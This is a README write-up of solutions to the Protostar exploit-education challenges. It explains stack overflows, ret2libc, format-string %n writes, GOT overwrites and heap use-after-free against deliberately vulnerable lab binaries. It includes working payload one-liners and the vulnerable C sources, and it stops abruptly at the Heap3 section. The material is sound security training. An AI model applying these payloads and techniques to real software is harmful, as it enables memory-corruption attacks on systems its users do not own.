Skip to content

Latest commit

 

History

History

README.md

Protostar challenges

Overview

Note: the protostar VM is now superceded by the Phoenix set of challenges as mentioned on exploit.education. This section documents the work done on solving the protostar challenges which can be found here Link. The Prostar VM is a debian based Linux OS and all the executables are in 32-bit ELF format.

Our initial attempt would be try to solve the challenges without looking/referring the source code/hints, which would add the challenge of reversing/ understanding assembly code to the mix. I have downloaded the crackmes from the protostar VM onto my Ubuntu-16 distro with tools of my choice.

For debugging the crackmes (dynamic/runtime) , I have used EDB or evan's debugger. For the static analysis , I will attempt to use GHIDRA. I have some prior experience with GDB, IDA and ImmunityDBG , which came handy during these excercises. ASLR was disabled for all the challenges in this section. I have also used gdb and pwndbg for debugging.

We have different ways and methods of designing and writing exploits. The ret2libc and vanilla overwrite are 2 of the most common design techniques used for the exploits in this exercise. Look at the code for comments in case something is not clear.

More advanced concepts covered often involve understanding what the base address means, how to read an elf file and understanding how ASLR works etc. The base address and addresses specified in the entry point are specified relatively, especially the dynamic libraries. Based on the nature of executables different sections of it (load address) may be randomized. (Check the resources for some useful links)

intro.png
Exploit designs

Resources

Blogs and Online Links

  1. Heap Overflow Basics
  2. Heap Understanding - Azeria's Awesome Blog

Links for understanding ASLR wrt ELF (and questions asked around it)

Books

  1. Hacking - The Art of Exploitation

Stack Based Exploits

Stack0

The edb is used to run it. We see that the jmp operation is dictated by the Zero flag. JE command performs a JMP when the Zero flag is set. We see that a command "test eax,eax" is used. The test eax is a bitwise AND operation. Note that 'test' sets the zero flag, when the result of the and opertaion is zero, i.e the case when both the operands are zero. test eax,eax will set the zero flag, only when eax is zero.

So, we have to make sure eax is anything but zero to prevent the JMP. The eax is loaded with a value from the stack. 0x5c is the offset. Using buffer overflow we can overwrite this, and achieve the target intended.

stack0.PNG
EAX register needs to be overwritten with a non-zero value

Stack1

In this instead of any arbitary value other than zero, we have to fill the variable using a target value. From the assembly code we see that a 'cmp'' is being performed which determines the outcome of the program. What we need to do now ,is to calculate the offset of the overflow. This can be done by using a pattern generator which may be found natively with metasploit implementations, or can be found online. This offset is the distance between the start of our payload and the eip overloaded value in bytes. The offset calculation is a recurring concept in initial exploit design.

We find that the offset of the overwritten value is 64. The value being compared is hex \x61\x62\x63\x64. Note that the stack is filled in the direction opposite to buffer growth. Stack grows from high memory to low memory, and the buffer (& heap) grow from low memory to high memory.

stack1.PNG
Overwrite the eax with a constant value to alter program flow

Stack2

This is a similar challenge to Stack1. The point of overflow here is the environment variable. This is the point of entry for the overflow. We know from the debugger output, that an environment variable called "GREENIE" is being used from the EDB debugger which prints the ASCII strings on screen. Note that GREENIE needs to cause a buffer overflow, which happens during the vulnerable strcpy function. The value in the EAX register is being compared to 'd0a0d0a' in hex. Again, like in stack1 we need to push a string which offsets at 64. So the value being overwritten is at an exact distance from the start of the string, and we prefill the value with 64 leading A's , and you can do it in any manner except taking care not to include bad characters.

export GREENIE=$(python -c "print 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0a\x0d\x0a\x0d'")

Now the next thing would be to run the program, which will give us the desired output.

stack2.PNG
Altering the environment variable to cause overflow

Stack3

The function in main checks a value which I replaced in Ghidra to the name 'switchF' and 'targetInput' is the one we need to overflow. We can see from the disassembled code clearly what is happening without having to read much assembly code. We see that the switchF needs to change, for our function to enter the if condition. The jump however needs to happen to a different function for us to win this challenge. There is only 1 non-c non-library function as Ghidra points out which is 'win'. We need to store this address value on the switchF, for us to successfully execute this function and win the challenge. We can see from the images the offset address we need to overwrite.

We can see that once we do this and overwrite using the offset we are able to overwrite the variable with success. It should be noted that function local variables are stored in the stack in the order they are declared. Note that we can overwrite the 'switchF' as it is declared after the 'targetInput' variable. So targetInput goes in the stack first, followed by the switchF. When the buffer overflows, the overflow is written onto the next variable stored in the stack. Always remember the layout of the function frame including the EBP and the RET address values when performing an overflow. The functions in the absence of ASLR are loaded at a fixed offset from a fixed starting address space.

stack3.PNG
Looking at the disassembled functions
stack3win.PNG
The variable 'switchF' is in our control because of overflow of 'targetInput'

Stack4

Vanilla Buffer overflow. Here we overwrite the return address, like covered in several exploit research exercises before. The steps are to calculate the offset, and supply the exploit via command-line arguments to the exploit as shown below.

python -c "print 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf4\x83\x04\x08'" | ./stack4
rootwe-0.PNG
A vanilla buffer overflow exploit, controlling the EIP to point to our desired function

TIP: For passing stdin to the executable via stdin, the best way to do it consistently for the EDB is to do the following. Create a file with the required string to be passed to the stdin.

A thing to note here is that unless an executable is compiled as PIE the address of the _start function or entry point remains same even at complete randomization (randomize_va_space vairable=2). To have this randomized (the main executable or entry point of the address), the executable must be a "PIE" (position independent executable), and can be compiled and linked as such by specifying the relevant flags). Since this executable does not involve pointing to a location on the stack which is always randomized, and the executable is not a PIE, it works even with randomize_va_space set to 2.

The last 2 links posted on the ASLR resource section above highlight how this works in greater depth.

edb --stdin file1 --run stack4

Stack5

In this challenge, we need to perform a buffer overflow and spawn a shell. Basically, our payload here is a shellcode, and we can write our own or use an existing shellcode. As any standard exploit we need to overwrite the return address and make it point to our shellcode. You can write your own shellcode here, and complete the challenge. This challenge , even though I have executed several buffer overflows for countless similar c programs threw me off. The source code is as simple as it can get. I figure here that because of certain headers being included, this behaves like this. The shellcode runs into an error where it shows "ILLEGAL Instruction" for quite a while, before I had to go with a different exploit design.

My initial exploit was

::NOPSLED::SHELLCODE::PADDING::EIP::

Here the EIP points back to the shellcode. Due to being present in lower memory address, the shellcode was showing ILLEGAL instruction. As of writing this , I am still trying to figure out why this exploit design failed. Next, I tried a different exploit design suggested by the famous "LiveOverflow" in his videos, and added a NOPSLED size of 400 to place the shellcode lower in stack (higher memory). This is a lesson, to try out different exploit designs until you succeed and make sure to eliminate the extra variables like the environment variables and other differentiators which are causing the exploit to fail.

::PADDING::EIP::HUGE-NOPSLED::SHELLCODE

This worked after piping an extra character via cat. The shellcode like others have been tested to work on Ubuntu16.04. This is because the bin/bash shell being called from the unistd.h header was expecting a character. This is highlighted by liveoverflow in his description of the exploit solution.

The exploit is piped to STDOUT and in the file stack5.py. To pipe it from within gdb(make sure the executable is loaded):

run < <(./stack5.py)

From outside gdb, we need to pipe the extra char.

(./stack5.py;cat) | ./crackmes/stack5
rootwe-0.PNG
The overwrite using the payload is successful.

Stack6

This challenge is a curve ball, even though the underlying technique of exploitation is well known. The binary here prevents us to overwrite the return address with some specific prefix. The check is put on the stack for preventing us using the vanilla exploit methods. Here we will use a technique which we used in the exploit-research for Win32 systems which is known as 'return-to-libc'. This is often used to bypass 'exec' protections on stack. There are several variations to this method such as the 'libc chaining' method which is explained by 'Phrack' in this article here. The libc method exploits the control of the stack, and its layout specifically. In a restriction on stack execution, the shellcode may not reside on the stack. The technique return-to-libc lays out the stack after an overflow as shown by the following image.

rootwe-0.PNG
The overwrite using the payload is successful.

We find a systemcall in the libc in the executable library. Instead of EIP pointing to a shellcode, EIP would now point to this address. In a function layout , a function's instruction pointer usually points to the EBP (before the instruction for carving out space for local variables is hit) as shown in the image. The next (higher in memory, lower in stack) value is the return address of the next function. Here we can point to exit() so that the process exits. We would spawn a separate process on execve execution.

The next instruction would be the function argument for the current function. This for a systemcall would be the address of the command string being called. In this case, this must be the address of the string "/bin/bash". There are several methods to locate this string in the executable using the 'strings' utility. On GUI debuggers such as the EDB this is trivial. Alternatively, one may store the string in an environment variable and point to the address of the environment variable to avoid locating the string.

Locating system call within the libc and having executable privileges is easy on EDB, and on GDB , one may simply do the following to find out the location of the systemcall as shown from within gdb. You may use other utilities such as mselfscan (a metasploit utility) or using the 'strings'utility.

Note that the libc syscall takes only 1 argument which is the string address of the function being called. The stack6.py was used to generate the payload which was tested on the executable running on a 16.04 Ubuntu system.

rootwe-0.PNG
Locating a syscall for performing ret2libc in the desired address range in EDB

Stack 7

This challenge again, reimposes a restriction on the blatant overriding of return address. Here we will employ a technique called "return to .text". If you look at the source code for this challenge , you will discover that the source code is very much similar. In stack6 the logic is checking for return address to not be in the stack range of the stackaddress and some of the code address which is the '\xbf' prefix. This was bypassed using the 'ret2libC' technique as the libC address was not in the restricted range. Usually, the libC technique is used for bypassing stack execution restriction, but here we have a restriction which prevents us from returning to libC

In stack7, the restricted address range for the EIP overrun, covers the libC region as well, thereby preventing the ret2libC exploit from working. Here we have to overwrite the EIP to point to something which controls the EIP via control of the stack. There are many variations and methods to accomplish this, the ultimate aim is to get execution without violating the address space check on EIP. We know that the EIP has to point to something which is not present in any address with prefix '0xb. Note, that here the stack is executable, so we can actually place our shellcode on the stack. To achieve this we must point to opcode strings which allow us to return execution to our shellcode. The basic idea would be to point to a 'RET' instruction and have our EIP point to this. We would have to place the address of our shellcode right adjacent to the stack so that the ret causes the address of the shellcode to be pushed onto EIP. But as we'd see, the shellcode address is restricted.

Format String Exploits

These are set of challenges which require us to exploit the format string vulnerability. This is a class of vulnerability which exploits the format string which is an ascii string used to specify and control the representation of various variables. You can use it to read and write memory on the stack, thereby controlling the program execution. String formats such as "%d" and "%s" are used by functions like printf and sprintf to read/write memory on the stack. When passed as part of string input to vulnerable functions this can cause an outcome where the %s is treated as a format string to read the memory on the stack. "%n" is used to write to memory on the stack. In the following set of challenges, we will achieve our exploit using the format string vulnerability, even when there are certain exploits where we can use the buffer overflow vulnerability.

Format0

This one is the starting challenge and can be exploited both by an overflow and a format string exploit. The function code is provided below for reference, but we can do it without looking at this and just the disassembly as well. If you look at the disassembly, you will see that a value is being compared with the EAX register , the very famous "deadbeef" string. If we can control the value stored in EAX, we can win this challenge, or if we can control the EIP to enter the instruction after the "JNE" instruction to avoid the branching altogether. We can accomplish this via a simple buffer overflow (at an offset of 64), but the challenge mentions that we need to do it < 10 bytes.

For the sanity check we can turn off ASLR, and achieve the outcome via buffer overflow as shown below. The pattern generated is 64 bytes long, and appended by "deadbeef" in reverse order.

./format0 $(python -c "print 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A\xef\xbe\xad\xde'")

Let us achieve the outcome within the confines requested by this challenge. We can achieve the exploit by padding with a 64 bit format string and then appending the "deadbeef". So, the exploit can be of the following form.

./format0 $(python -c "print '%64d\xef\xbe\xad\xde'")

This would be the case where you would get a padding of 64 bytes. The content will be taken off the stack and padded with 64 bytes before outputting. The string containing %d is a format string. When we use it within say printf command printf("%d",x)". It expects the first argument to be at (ret addr+4 bytes), 2nd argument to be at (ret address +8 bytes). printf you see, is a variadic function, i.e It can take multiple arguments. The function arguments are present outside the stackframe (lower in the stack, higher in memory than the return addr and EBP). For variadic functions in x86 architectures, the choice of calling functions is cdecl. There are different ways in which functions are called in x86 architectures which are present here.

So how does the exploit work? With %64d we just told printf to read the next arg, and pad it with 64 bytes.

However this exploit does not work on a 64 bit modern system with ASLR enabled. See liveoverflow's video to see how to exploit and bypass this challenge on a modern system.

Format1

For format1 we need to overwrite the target value. So far, we know that the format string vulnerability can be used to leak data off the stack. Even if stack is randomized, we can leak the stack information. For some challenges, we may be able to leak the stack canary and beat stack protection via memory leakage. For reading off the stack we can use certain characters like ("%d", %x) depending on how we format the data being read off the stack. However, in the man page of printf, we can see that there exists a format character called "%n", which can be used to read the value of the last written to variable.

"%n" in the man page is considered as a security flaw as well when dealing with untrusted user input. So what does "%n" do? Consider the following code as stated in a stack overflow in an answer to the same question.

#include <stdio.h>

int main()
{
  int val;

  printf("blah %n blah\n", &val);

  printf("val = %d\n", val);

  return 0;

}

The first printf has been passed the pointer (address) to the variable val. The first printf will not read any value, but write a value to the passed address. The value will be characters written so far in the printf statement. This value is 5, as there are 4 chars ('blah') plus 1 space written in the printf before '%n' is encountered. The second printf will print "val = 5".

Here our task is to overwrite the target variable to successfully pass this challenge, and hence we must make use of the "%n" command as stated above. We will have to write to the target variable on the stack.

One more thing to note here, is that this won't work with ASLR enabled. With ASLR enabled, the stack only prints the address of the string on doing "%x" overflow, and not the actual string being stored on the stack. Due to format string vulnerability we can print memory on the stack. When doing these challenges, always remember that our vulnerable function could be nested within functions, and be clear with the structure of the stack frame. The function arguments are outside the current function stack frame (higher than ebp of current stack frame, and below the local variables of the outer function, refer stack frame structure).

We can print out stack addresses by abusing the format string %x. We can supply the arguments to the executable and see that we can locate our string on the stack as shown in the image below.

format1.PNG
Locating the start of our address string on the stack leak

Now we need to overwrite the address of the target variable on the stack. We can see this variable by any debugger or by using objdump to see the offset. In absence of ASLR, we can know the exact location where this variable will be loaded into the memory as shown in the below (08049638)

format1_1.PNG
Locating the target variable

Now, when we use %x, the printf prints the first entry which is the argument, every subsequent %x, printf prints the next (lower in stack, higher in memory).

Take an example of an argument like "AAAAA"+"%x" being passed onto the executable. What will it print? It will print the string. So it will print the A's. When it will encounter the "%x" it will ideally look for arguments being passed as it is a variadic function, format it as a hex string and print it.

If we did multiple "%x", it will keep moving lower onto the stack(higher up in memory) to print the contents of the stack including addresses on the stack. If we do this enough times, we will eventually discover the string we are passing as argument . Why? Remember that the argument string is also stored in the stack, and we will eventually reach the string (our payload). This is an important finding. Remember that this will not work with ASLR enabled, as the string is then stored randomly and the address to it is stored on the stack ,not the string itself.

So we can print our payload if we supply a long enough string of "%x" (x is just the formatting, and controls the no of bytes read as well), but what can we do with it? What if we had an address as part of the string/payload? We could print it , sure. But let's bring into picture the "%n". If we say printed an address using the method we just discovered, and followed it with a %n and a value, we could write to it!

Then we need to have something like this "padding"+"address"+"%x*(number)"+"%n". The number being enough to get the %x to print our string on the stack,the padding and the address(the last value printed must be our target address), succeeded by %n. Now we need to replace the address with the address of our 'target' variable. This would result us in modifying the target variable, and successfully solve the challenge. The exploit payload for format 1 is as shown below.

./crackmes/format1 "`python -c 'print "AAAAAA"+"\x38\x96\x04\x08"+"BBB"+"%x"*168+"%n"'`"

Format2

A step in the next direction, we need to not only control where we are writing with our payload, but also what we are writing. Like the challenges above, the ASLR has been disabled and the solution is shown for a 32 bit system. A later attempt would be made to solve these on a modern system or a x64 system. We can deduce the value of the target required by looking at the assembly code as shown in the image below. 1 shows the address where target is loaded from, and 2 shows that target is being compared against 0x40 which is 64 in decimal, and we need to successfully change the value of target to x40 to successfully clear this challenge.

format2.PNG
1)The address of target variable, 2) the value to be overwritten

We can do the objdump -t ./crackmes/target2 to load the address offset for the target variable. Our input to the stack needs to be adjusted based on a lot of the factors. As we have seen in multiple exploits before, even the environment variables could throw us off our intended target. This is the main reason, exploit researchers are so fond of the NOP sled. From the image above, we know that the target variable is loaded onto the address "080496e4".

Our inital part of crafting the exploit will be the same. We will need to insert the address of the target variable at a position which is after enough padding causing it to be the last thing to be printed off the stack or last argument to the variadic printf. So we know that if we use %n, and the address is the last argument, the no of characters printed so far will be written on to the target variable (refer the c program in the beginning part of format1). If we use the string below, we can see the address of the target variable as the last thing printed. Note that this time the executable takes arguments from stdin . If we put a wrong or unreachable address , we would get a segmentation fault.

python -c "print 'AAAAAAAA'+'\xe4\x96\x04\x08'+'%x'*6" | ./crackmes/format2

If we write a %n, and remove one of the %x (to maintain the padding for us to be able to write to the same address), we notice that target variable has been modified but the value is changed to '47' as shown in the image below. That is the no of characters written so far when we used %n.

python -c "print 'AAAAAAAA'+'\xe4\x96\x04\x08'+'%x'*5"+'%n' | ./crackmes/format2
format2_1.PNG
The target variable has been modified to 47

So we need to write more characters to bring this value to 64. There is a catch here. We need to write to the target address, if we prefixed with more A's , the target address won't be the last thing printed from the stack. Our payload will shift and we might get a segmentation fault. %x is used to print the contents of the stack, so in order to maintain our padding and our correct address, any extra chars must be added after the %x and before %n. So, the correct payload is as shown below. This is because remember that with each %x or a format string, we are 'adding' an extra argument to printf, and moving our pointer to the lower areas of the stack. When we added a %n, we removed a %x , so that %n accesses the address instead of %x.

python -c "print 'AAAAAAAA'+'\xe4\x96\x04\x08'+'%x'*5+'a'*17+'%n'" | ./crackmes/format2

Format3

We wrote 64 to our target variable in the last exploit. Could we write any value to our target variable then? In this challenge, we are required to exert more control on the value being written on the stack. We can write the 17 a's in another format possible. We can use the format character to give an extra padding to the exploit payload. If we go back to format0, we can see that we may use number for padding the characters we want. This brings us to an alternative way we could have solved the last challenge, by using padding character number. The alternate solution to challenge format2 is shown below.

python -c "print 'AAAAAAAA'+'\xe4\x96\x04\x08'+'%x'*4+'%25d'+'%n'" | ./crackmes/format2

In this challenge, we need to modify the target variable to a much larger value, as the disassembly shows. On doing objdump, we note that target variable is loaded at an address offset of "080496f4". From the disassembly, we know that the target value needs to be 0x01025544(in hex) for us to clear the challenge.

format3.PNG
The target variable needs to be modified to 0x01025544

We craft our initial format string to calculate the padding and the no of format strings to reach our padded value of the address of target. When we do this, we would notice that the value of target changes to something. In my case, the value changed to 0x5b, implying we wrote the amount of chars so far onto target which is 5b, terribly shy of the intended value 0x1025544.

python -c "print 'AAAA'+'\xf4\x96\x04\x08'+'%x'*12+'%n'" | ./crackmes/format3

Now we need to write the amount of characters indicated by the difference of 0x01025544 and 0x5b. We could write a lot of A's , but we can make our payload shorter by the trick we used in Format0 and use the padding integer special char of %ad where a is the padding, and d is the integer format. The difference comes out to be 0x10254e9 which is 16930025 in decimal. Let's put it to the test with the exploit string below. I have piped the output to remove the spaces or else you will get a large output on the screen (~16.9M chars!). The payload needed adjustment a bit more for the difference, about 8 to make for the characters to be written match the intended value of target. Note that we needed to take off one of the %x as we were using an extra format string "%d" to make %n still point to our intended address.

python -c "print 'AAAA'+'\xf4\x96\x04\x08'+'%x'*11+'%16930033d'+'%n'" | ./crackmes/format3 | tr -s " "

Format4

We have not only written to our intended target so far, but we have established a way to control what we are writing to the variable as well. What we have not done, is control execution, so can we using a format string exploit control EIP? This is what is the objective of format4 challenge. Let us quickly use edb, to look at what the disassembly looks like:

format4.PNG
The disassembly of the format4 executable

We need to redirect output , so from the format string style of exploits we have been sticking to so far. So to achieve our goal, we must successfully rewrite the return address to the address of the instruction that prints the success message, which was deduced to be at an address offset of 080484ba. When overwriting the return address, we can do with return addresses of any of the outer function but not in this case. If you look at the disassembly, you will notice that the internal function that calls the vulnerable printf is followed by a exit syscall (shown by 1), and hence this will prevent the function from returning. In this scenario, we would have to overwrite the return address to the line where "printf" function is called. So, the printf function call on returning will redirect to our desired location, which is the hello function at the address 0x80484b4.

If we go inside the printf function, we can see the return address location being stored on the stack, this is the address we must overwrite and must be part of our payload. However, there is a catch- Note that there is a exit call in the vuln() function disassembly. Which means, even if we overwrite the return address, we cannot control the execution, as the syscall exit will happen before the function returns and we get control of EIP.

So, is this the end? The exit call is part of the shared libc library. This means this is loaded by the dynamic linker. The concept of PLT (Process Linkage Table) and global offset table are at play here. They are a really neat way of lazy loading functions of the shared library, and you can go and read those in depth. If you want to know how exploits using the GOT and PLT work, check this blog out. Link:System Overlord

format4.PNG
The vuln function exits without returning (note the exit@plt call)

GOT or Global Offset Table is a method for executables to use shared library and reference the functions. The GOT section involves several "jmp" instructions , each one corresponding to the address of a function. It acts like a function trampoline. If you look at the image below, you can see the disassembly of the hello function , where we would want our redirected output to go.

Note that our goal is to overwrite the Global Offset Table section of the ELF. This section of the ELF is patched and filled in by the actual location of the "exit" function address, and put into the PLT. When the "exit" function is called for the first time, the value from the GOT is an "offset" which tells where the function ptr is stored. This ptr address points to the address of the exit call.

format4_3.PNG
The exit function location in GOT

If we go to this address, we will see that it jumps to an address as shown. This is basically an address which is present in the .got.plt section. This section is where the patched up addresses are stored after they have been looked up. Once the lookup is done, the linker can directly use this section after jumping from the .plt section. PLT section is like a trampoline as it just has offsets for jumping to the actual function addresses.

format4_3.PNG
The exit function jumps to the address pointed to by '0x8049724'

So if we change the value stored at the address to '080484b4' (134,513,844 in decimal which is 134M chars!) using the format string vulnerability, we would have achieved our goal. You can manually edit this address location via the debugger to see that the exploit works, before moving on to do it via the format string exploit.

Crafting the exploit we can see that the following causes to print 'BBBB' and hence now we need to replace 'bbbb' with the address we need to overwrite, and then write as many characters as the address we need to overwrite BBBB with.

python -c "print 'AAAA'*10 + 'BBBB'+'%x'*14" | ./crackmes/format4

The final value will be a bit off. Here, would also be a great time to mention the technique of splitting the value to be written into higher and lower bytes and then writing them as mentioned by the great "LiveOverflow".

To feed into the stdin of eteran debugger, create a pipe and run the edb with that pipe as shown.

mkfifo format4_pipe
edb --stdin format4_pipe --run ./crackmes/format4 &

Later we can feed into the pipe and the stdin will get the arguments in edb. We'll notice that our address rewrite (takes a time because of so many chars being written to by the printf) has slightly overshot and our address is off by 135. We make that adjustment and correct our final exploit suffix to 1,34,513,709.

We can then try it outside our debugger and crack the challenge

python -c "print 'AAAA'*10 + '\x24\x97\x04\x08'+'%x'*12+'%134513709d'+'%n'" | ./crackmes/format4

We can see that that solves the challenge effectively.

format4_5.PNG
Crafted Exploit solves the challenge after printing gazillion characters

Heap Based Exploits

The heap is a chunk of memory which is available to the program for dynamic allocation. Like the stack, the start address and stop address of the heap region is determined when the program is run and can vary if ASLR is active. The malloc, free, and other libc functions interact with the heap by allocating and freeing memory. However unlike the stack, the heap grows from low memory to high memory. The malloc, and free functions often call the low-level assembly functions like mmap and brk for allocating memory on the heap and initializing it. The heap allocations and workings are well explained by liveoverflow in this video. We will now be moving to challenges based on heap for the protostar VM. These challenges were solved with ASLR disabled because my knowledge at the time of writing this is still rudimentary at best. Make sure to turn ASLR off, if you are running the crackme on a different machine.

Heap0

This challenge can be solved intuitively without any knowledge of the heap workings. This is done by crafting a payload and see how we are able to alter execution flow or the contents of the EIP. We can calculate the offset from the online offset generator and supplying it as system arguments. The offset begins at 72, which is overwritten into the EIP. Even without the understanding of what happened under the hood, we can control eip by figuring out what offset of our input is being loaded onto the EIP and then controlling execution from that point onwards. Since we know the offset is at 72, the next part of the puzzle is to figure out where the winner function is loaded, and then we insert that address in reverse order after our offset as shown.

./crackmes/heap0 $(python -c 'print "A"*72+"\x94\x84\x04\x08"')

Heap1

Here our executable needs 2 system arguments. On examining the source code we can figure out, that the vulnerable function of strcpy. However, as we see here we don't have a direct first argument overflow to write the EIP. A glimpse of the source code being referred to is shown below. Since this executable is compiled without stripping off symbols, it is easy to reverse it , even in absence of a source code. To understand how this exploit works, we need have a basic understanding of what part of the application we are exploiting, here the case being the address where strcpy writes to in the heap.

The structure of the heap relevant for this exploit is shown below. Other areas which are relevant to UAF (use after free) exploits will be covered in sections of subsequent challenges. The malloc allocates memory on the heap in chunks. Free memory on the heap is also called wilderness. The malloc() function call returns the start of the address where the allocation began. A chunk is a contigous block of memory in the heap. The first 4 bytes (32 bit system) of this chunk are all 0's - these will be described in later challenges. The next 4 bytes denote the size of current chunk. However the lowest bit of these 4 bytes is used to indicate whether previous chunk is used or free (if the lowest bit is 1 , it means that the previous chunk is used (has been allocated). The rest is the chunk and the space to be used by the user. The starting of the next 4 bytes is what is returned as the address value after a malloc call.

heap1_0.PNG
Heap stucture (diagram is for a x64 arch)

Looking at the source code here , we can see 4 malloc function calls for 2 different structures. Then we have 2 strcpy's following them

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

The vulnerable function here is strcpy which is vulnerable to an overflow attack as it does not check the size of the arguments. Argv[1] and argv[2] are both user supplied arguments.

Another concept at play here is the PLT trampoline. As mentioned before, GOT and PLT workings cannot be fully covered in depth here. There are several excellent resources covering that, and a link to one has been provided under the challenge Format4. Without going into the nitty gritty, it suffices us here to know that whenever a function of dynamic library is called (Seen with convention function@plt in most disassmeblers), the call does not directly go to the function address, but a PLT-trampoline, where a jmp is performed to an address contained in a pointer. This address containing the jmp location is present in a section called ".got.plt" (elfs have sections .got, .plt, .got.plt and .plt.got). Any section beginning with .plt contains stubs to jump to the actual function address, while those beginning with ".got" contain the addresses which are being referred to in this stubs.

2 chunks are setup in the heap memory, and there are a total of 4 malloc calls. The 2 strcpy's are of importance here, as they will aid us in setting up the exploit. The first strcpy moves the argument to the location in the heap allocated to 1st chunk or i1's chunk. The 2nd chunk is setup higher in memory, after the first chunk in the heap. Note that the heap grows from lower to higher memory. When we overflow arg1 we can overwrite into the addresses. Note that the first argument is an address( variable location) where the 2nd argument's value is being copied to. This is an important bit of information.

argv[1] can be used to trigger the overflow. i2->name is on the heap somewhere after the first chunk, so we can control where argv[2] is being written, by overflowing argv[1]. So we use argv[1] to control the address of choice where we want the value to be written to, and the argv[2] to control what we write to this location. Ofcourse, this address must be writeable.

Now what could we do with this info? - Enter the GOT. We do what we did in the challenge format4. We use the GOT to modify the address which was originally pointing to the puts function which prints the final string of the program "and that's a wrap folks" (compiler optimizes the printf to puts). We modify the value stored in the pointer used in the jmp stub of the PLT. This will now point to our winner function. So argv[1] overflow will end with this pointer so its content could be overwritten by argv[2]. Argv[2] simply writes the address of the "winner" function onto the pointer value, so that stub which uses the contents of this pointer to jump would call our winner function instead of the printf(puts) function.

Some supporting images have been shown below.

heap1_2.PNG
The strcpy needs to be modified for the overwrite
heap1_3.PNG
Need to modify the contents at 0x8049774 for the PLT Stub to redirect
heap1_4.PNG
Address of winner function at 0x8048494
heap1_1.PNG
Executing with the exploit payload

Heap2

This challenge uses the heap exploit concept called "UAF- Use after Free". The executable here takes line by line input. Based on the string command supplied, the program branches into various outcomes. The simulation of a login system is created here, where the objective of exploitation is to login. The target program here has several unintended bugs which results in solutions without having to take the target or intended approach. One of them is an incorrect malloc allocation due to the variable naming convention. Multiple variables are named "auth" and this results in unintended bugs breaking the original direction of the challenge.

Being a heap based challenge, it would help us understand the working of the exploit if we looked at the source code

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

struct auth {
  char name[32];
  int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv)
{
  char line[128];

  while(1) {
    printf("[ auth = %p, service = %p ]\n", auth, service);

    if(fgets(line, sizeof(line), stdin) == NULL) break;

    if(strncmp(line, "auth ", 5) == 0) {
      auth = malloc(sizeof(auth));
      memset(auth, 0, sizeof(auth));
      if(strlen(line + 5) < 31) {
        strcpy(auth->name, line + 5);
      }
    }
    if(strncmp(line, "reset", 5) == 0) {
      free(auth);
    }
    if(strncmp(line, "service", 6) == 0) {
      service = strdup(line + 7);
    }
    if(strncmp(line, "login", 5) == 0) {
      if(auth->auth) {
        printf("you have logged in already!\n");
      } else {
        printf("please enter your password\n");
      }
    }
  }
}

There are several functions of interest from the exploit point of view, besides malloc, being used here, so it is important we understand how they work. They have been elaborated on below. Note that strncmp is immune to overflow attacks here as only a fixed length is being compared.

  1. memset(): - this is used to set values to a chunk of memory region. Often used to initialize memory regions after a malloc, as a malloc when 'freed' is not cleared of the old memory. The memset libc function takes 3 arguments. The first argument is the pointer to the start of the memory to be free'd , the second is the value the memory should be initialized to, and the third is the chunk of the memory that must be initialized.
  2. free(): - This is used to unset or free memory. It is noteworthy that this function does not actually unset the memory but just changes the last bit of the first 4 bytes that marks a chunk.
  3. strdup(): - This is used to duplicate a string which it takes as an argument, and returns a memory address (pointer) to the new string. The strdup internally uses malloc to allocate memory for the string.

To complete the challenge here, we must be able to branch into the print statement which says "you have logged in already".

The while loop will take input line by line, and based on the string entered , we will be able to control the execution flow. 1.) If we enter "auth " (space at the end), we will perform a malloc on auth, and memset the newly allocated memory to zero. Then we copy the contents of line+5 to auth->name 2.) If we enter "reset", we will "free" the memory allocated to auth. 3.) If we enter "service", we copy the contents of line onto a new memory region and allocate it to service. 4.) If we enter "login", then we see if integer "auth" for the struct "auth" is set, and if not, we will be asked to enter our password.

But, if we look at the source code, int auth is never being set or written to anywhere, so it would seem impossible to login.

The trick here is "Use after free". This means we are using a chunk after it has been free'd. The following are the steps required to achieve our target and get the message you have logged in

  • If we use "reset" command from within the running executable, we will notice that auth will still point to the same address after the reset has been performed, or "auth" has been free'd.
  • Note that the auth struct incorrectly gets assigned 8 bytes unintendly by the challenge (as the malloc for struct allocates it for the int "auth" instead of the struct "auth"). So when it is free'd it is not physically reallocated, but stored as part of a different meta in the free "link lists and bins" by the heap manager. Since auth is the first free'd memory,so prev_ptr is set to 0, and marks the beginning of this free linked list (the prev_ptr of a free'd chunk points to previous free chunk address). But the auth points to the same location in memory (contents changed due to being free'd, and heap manager creates a meta (bins and linkedlist) for marking this as the free.) even after being free'd.
  • Next, we need to get the heap manager to allocate us new memory by calling malloc but for a different variable. We do this by using the "service" command which will make the heap-manager first search for memory in the free'd link list or bin if the allocation is the same or smaller size. So "service" will now be allocated the chunk previously allocated to "auth"
  • Each time we execute "service", we call "strdup", which calls malloc. So each call to service, makes the heap slowly fill up. But the auth struct ptr has not been unset and hence the int "auth" will in turn be also never unset, which will cause this to have values now controlled by the "service" variable, which is how we set it (if auth->auth) will be triggered if the integer "auth" is set to anything other than 0.
heap2_0.PNG
heap2 exploit via cli

Heap3

This challenge is the cream of the entire set of challenges in Protostar/Phoenix, and by far requires the most thought into crafting the exploit. When dealing with the stack, we can overwrite the return address, and change execution flow. With heap, we will have to gain access to somehow perform an arbitary write we can achieve this goal, and here the goal being calling the winner() function.

